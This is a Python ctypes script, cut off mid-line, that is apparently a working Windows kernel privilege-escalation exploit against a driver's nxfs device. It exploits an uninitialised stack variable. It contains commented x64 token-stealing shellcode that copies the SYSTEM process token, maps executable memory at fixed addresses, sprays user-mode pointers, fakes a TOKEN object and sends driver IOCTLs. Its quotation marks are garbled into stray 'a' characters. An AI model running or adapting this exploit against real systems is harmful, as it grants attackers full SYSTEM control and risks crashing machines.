from ctypes import * from ctypes.wintypes import * import struct import sys import os MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 STATUS_INVALID_HANDLE = 0xC0000008 shellcode_len = 90 s = aa s += a\x65\x48\x8B\x04\x25\x88\x01\x00a #mov rax, [gs:0x188] s += a\x00a s += a\x48\x8B\x40\x70a #mov rax, [rax + 0x70] s += a\x48\x8B\x98\x90\x02\x00\x00a #mov rbx, [rax + 0x290] s += a\x48\x8B\x80\x88\x01\x00\x00a #mov rax, [rax + 0x188] s += a\x48\x2D\x88\x01\x00\x00a #sub rax, 0x188 s += a\x48\x39\x98\x80\x01\x00\x00a #cmp [rax + 0x180], rbx s += a\x75\xEAa #jne Loop1 s += a\x48\x89\xC1a #mov rcx, rax s += a\xBA\x04\x00\x00\x00a #mov rdx, 0x4 s += a\x48\x8B\x80\x88\x01\x00\x00a #mov rax, [rax + 0x188] s += a\x48\x2D\x88\x01\x00\x00a #sub rax, 0x188 s += a\x48\x39\x90\x80\x01\x00\x00a #cmp [rax + 0x180], rdx s += a\x75\xEAa #jne Loop2 s += a\x48\x8B\x80\x08\x02\x00\x00a #mov rax, [rax + 0x208] s += a\x48\x89\x81\x08\x02\x00\x00a #mov [rcx + 0x208], rax s += a\x48\x31\xC0a #xor rax,rax s += a\xc3a #ret shellcode = s aa * Convert a python string to PCHAR @Param string a the string to be converted. @Return a a PCHAR that can be used by winapi functions. aa def str_to_pchar(string): pString = c_char_p(string) return pString aa * Map memory in userspace using NtAllocateVirtualMemory @Param address a The address to be mapped, such as 0x41414141. @Param size a the size of the mapping. @Return a a tuple containing the base address of the mapping and the size returned. aa def map_memory(address, size): temp_address = c_void_p(address) size = c_uint(size) proc = windll.kernel32.GetCurrentProcess() nt_status = windll.ntdll.NtAllocateVirtualMemory(c_void_p(proc), byref(temp_address), 0, byref(size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) #The mapping failed, let the calling code know if nt_status != 0: return (-1, c_ulong(nt_status).value) else: return (temp_address, size) aa * Write to some mapped memory. @Param address a The address in memory to write to. @Param size a The size of the write. @Param buffer a A python buffer that holds the contents to write. @Return a the number of bytes written. aa def write_memory(address, size, buffer): temp_address = c_void_p(address) temp_buffer = str_to_pchar(buffer) proc = c_void_p(windll.kernel32.GetCurrentProcess()) bytes_ret = c_ulong() size = c_uint(size) windll.kernel32.WriteProcessMemory(proc, temp_address, temp_buffer, size, byref(bytes_ret)) return bytes_ret aa * Get a handle to a device by its name. The calling code is responsible for * checking the handle is valid. @Param device_name a a string representing the name, ie \\\\.\\nxfs-neta|. aa def get_handle(device_name): return windll.kernel32.CreateFileA(device_name, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) def main(): print a[+] Attempting to exploit uninitialised stack variable, this has a chance of causing a bsod!a print a[+] Mapping the regions of memory we requirea #Try and map the first 3 critical regions, if any of them fail we exit. address_1, size_1 = map_memory(0x14c00000, 0x1f0000) if address_1 == -1: print a[x] Mapping 0x610000 failed with error %xa %size_1 sys.exit(-1) address_2, size_2 = map_memory(0x41414141, 0x100000) if address_2 == -1: print a[x] Mapping 0x41414141 failed with error %xa %size_2 sys.exit(-1) address_3, size_3 = map_memory(0xbad0b0b0, 0x1000) if address_3 == -1: print a[x] Mapping 0xbad0b0b0 failed with error %xa %size_3 sys.exit(-1) #this will hold our shellcode sc_address, sc_size = map_memory(0x42424240, 0x1000) if sc_address == -1: print a[x] Mapping 0xbad0b0b0 failed with error %xa %sc_size sys.exit(-1) #Now we write certain values to those mapped memory regions print a[+] Writing data to mapped memorya|a #the first write involves storing a pointer to our shellcode #at offset 0xbad0b0b0+0xa8 buff = a\x40BBBa #0x42424240 bytes_written = write_memory(0xbad0b0b0+0xa8, 4, buff) write_memory(0x42424240, shellcode_len, shellcode) #the second write involves spraying the first memory address with pointers #to our second mapped memory. print a\t spraying unitialised pointer memory with userland pointersa buff = a\x40AAAa #0x0000000041414140 for offset in range(4, size_1.value, 8): temp_address = address_1.value + offset write_memory(temp_address, 4, buff) #the third write simply involves setting 0x41414140-0x18 to 0x5 #this ensures the kernel creates a handle to a TOKEN object. print a[+] Setting TOKEN type index in our userland pointera buff = a\x05a temp_address = 0x41414140-0x18 write_memory(temp_address, 1, buff) print a[+] Writing memory finished, getting handle to first devicea handle = get_handle(a\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061a) if handle == STATUS_INVALID_HANDLE: print a[x] Couldnat get handle to \\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061a sys.exit(-1) #if we have a valid handle, we now need to send ioctl 0x222014 #this creates a new device for which ioctl 0x222030 can be sent in_buff = struct.pack(a